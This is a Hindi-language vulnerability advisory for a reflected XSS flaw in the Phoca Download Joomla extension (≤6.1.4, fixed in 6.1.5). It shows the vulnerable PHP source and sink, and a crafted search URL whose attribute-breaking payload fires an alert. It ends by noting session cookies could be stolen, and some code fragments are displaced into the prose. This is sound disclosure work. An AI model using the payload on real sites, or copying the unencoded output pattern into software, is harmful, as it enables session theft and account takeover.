
फोका डाउनलोड में खोज GET पैरामीटर के माध्यम से रिफ्लेक्टेड XSS
Phoca Download ≤ 6.1.4 — प्रमाणित हमलावर उपयोगकर्ता नियंत्रण कक्ष में तैयार किए गए खोज URL के माध्यम से मनमाना JavaScript निष्पादित करता है
Joomla के लिए Phoca Download (com_phocadownload) में उपयोगकर्ता नियंत्रण कक्ष की फ़ाइल खोज कार्यक्षमता में एक reflected Cross-Site Scripting (XSS) भेद्यता मौजूद है। search GET पैरामीटर को Joomla के 'string' फ़िल्टर के साथ संसाधित किया जाता है — जो केवल को कॉल करता है और वर्ण को संरक्षित रखता है — फिर इसे के बिना एक HTML विशेषता में प्रतिध्वनित किया जाता है। एक हमलावर मनमाने HTML विशेषताओं और इवेंट हैंडलर को इंजेक्ट कर सकता है जो पृष्ठ लोड होने पर पीड़ित के ब्राउज़र में निष्पादित होते हैं, बिना तैयार किए गए लिंक पर क्लिक करने के अलावा किसी उपयोगकर्ता इंटरैक्शन की आवश्यकता के।
strip_tags()"htmlspecialchars()<input value="">| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
प्रकार: Reflected Cross-Site Scripting (CWE-79)
प्रमाणीकरण आवश्यक: पंजीकृत Joomla उपयोगकर्ता (लॉग इन) + उपयोगकर्ता नियंत्रण कक्ष सक्षम (enable_user_cp = 1)
CSRF टोकन आवश्यक: आवश्यक नहीं — GET अनुरोध, इस पथ पर कोई CSRF टोकन जाँच नहीं
Sink फ़ाइल: site/views/user/tmpl/default_files_bootstrap.php
search पैरामीटर को Joomla के 'string' फ़िल्टर का उपयोग करके पढ़ा जाता है, जो केवल strip_tags() को कॉल करता है। यह " वर्ण को संरक्षित रखता है, जिससे हमलावर value="" विशेषता संदर्भ से बाहर निकलकर मनमाने HTML विशेषताओं को इंजेक्ट कर सकता है।
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — SOURCE
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // stored without encoding
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — SINK (VULNERABLE)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
सहोदर दृश्य phocadownloadlinkfile (समान एक्सटेंशन) समान खोज फ़ील्ड के लिए PhocaDownloadUtils::filterValue($search, 'text') — जो htmlspecialchars() के समतुल्य है — सही ढंग से लागू करता है। user दृश्य समान सुरक्षा लागू नहीं करता है, जो एक्सटेंशन के भीतर असंगत आउटपुट एन्कोडिंग का संकेत देता है।
Joomla लॉगिन पृष्ठ पर नेविगेट करें और पंजीकृत उपयोगकर्ता के रूप में प्रमाणित करें। सफल लॉगिन के बाद, Joomla उपयोगकर्ता प्रोफ़ाइल पृष्ठ पर पुनर्निर्देशित करता है, जो एक सक्रिय सत्र की पुष्टि करता है।

PhocaDownload उपयोगकर्ता नियंत्रण कक्ष पर नेविगेट करें:
http://TARGET/index.php?option=com_phocadownload&view=user
पृष्ठ एक खाली खोज फ़ील्ड (value="") के साथ प्रस्तुत होता है। इंजेक्शन से पहले यह सामान्य स्थिति है।

निम्नलिखित तैयार URL पर नेविगेट करें (या कच्चे पेलोड को सीधे खोज बॉक्स में टाइप करें):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

जैसे ही पृष्ठ लोड होता है, इंजेक्ट किया गया autofocus विशेषता इनपुट तत्व पर फोकस करता है, तुरंत onfocus इवेंट हैंडलर को ट्रिगर करता है। किसी और उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है।
प्रस्तुत HTML (भेद्य):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie के माध्यम से पीड़ित के Joomla सत्र कुकी को चुरा सकता है, जिससे बिना क्रेडेंशियल के पूर्ण खाता अधिग्रहण संभव हो जाता है।